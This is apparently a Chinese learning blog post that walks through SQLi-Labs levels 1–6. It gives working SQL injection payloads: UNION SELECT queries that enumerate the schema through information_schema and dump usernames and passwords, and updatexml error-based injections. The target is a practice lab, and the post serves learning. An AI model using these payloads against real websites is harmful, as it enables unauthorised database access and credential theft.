sqllab闯关(一)1-6
刚刚开始学习sql注入,把练习的过程记录一下,方便复习。
Less-1
- 判断注入类型
首先确定注入点为id,后判断是字符型注入还是数字型注入
输入 ?id=1 and 1=2 --+ 后显示正常表明不是字符型注入
而输入 ?id= 1' 后出现报错near ' '1'' LIMIT 0,1' at line 1 (黄色为用于表示错误内容的单引号可以忽略,红色字符为输入的内容),表明了是字符型注入
后利用 1‘--+.中单引号闭合前面的引号,利用--+注释掉之后的内容,发现可以正常显示
- 确定字段长度 和回显位置
确定字段长度,若字段数为M,利用 order by N,从1,到M可以正常显示,N=M+1是报错
所以利用1’ order by 4--+报错 确定字段数为3
后利用 ' union select 1,2,3--+确定回显字段为 第二位和第三位
- 获取数据库信息
- 爆库名
利用?id=' union select 1,database(),3--+ 获取当前的使用的数据库名称
-
- 爆表名 获取数据库中表的名称
利用 id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
显然我门需要的是获取users表的内容
-
- 爆列名,(字段名)
id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+ (此处‘users’也可使用usres 的十六进制表示)
-
- 获取数据
已经获取了表名和字段名,可以直接查询数据
id=' union select 1,group_concat(username),group_concat(password) from users --+
Less-2
与第一题一样,首先判断注入类型,输入 ?id=1*3 后发现获取了 id=3时的数据,在输入 id= 1 and 1=2--+ 后发现无输出,说明是数字型注入
而后利用 union 语句查询即可(id=0 union sql_command ),后续内容与第一题同。
Less -3
首先判断注入类型 输入id=1 and 1=2 无反应,但是输入 id=1' 后出现报错,确定是字符型注入。
根据报错信息near ''1'') LIMIT 0,1' 构造绕过方法,由于报错信息中显示 有 ) 所以在输入中构造)进行提前闭合,而后利用注释(--+),将后面的内容无效化
构造的注入语句为 ?id=-1') union sql_cmmand(表示任意sql命令,如select,等),其余内容与第一题相同。
Less-4
此题判断类型时发现,无论是 ?id=1 and1=2--+ 还是 ?id=1' 都正常显示,此时考虑另一个特殊字符“ , 在输入 id=1"后出现报错信息
near ' "1" ")根据报错信息 和第三题的构造方式类似,只是把单引号(’)换为 双引号(“). 得到payload 为 id= -1") union sql_command 此后的内容与第一题相同。
Less-5
此题判断类型时 id=3'出现报错信息,为字符型注入。
但是,输入后发现,在有正常输出时只显示 you are in--- 不出现回显,只有错误信息会正常显示,所以考虑通过 updatexml错误注入的方式进行注入(updatexml错误注入详解)
payload 如下 id=3' and updatexml(1,concat(0x7e,(select database())),1)--+
如果需要显示多行数据可以使用 id=3' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() )),1)--+
也可以利用 limit 开始行数,显示行数 id=3' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1 )),1)--+ 进行逐行显示
之后的爆表名和查数据的过程与第一题相同。
Less-6
此题与第五题只是把特殊符号由单引号(‘)换位双引号(")其余相同
如查表名id=3" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() )),1)--+
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix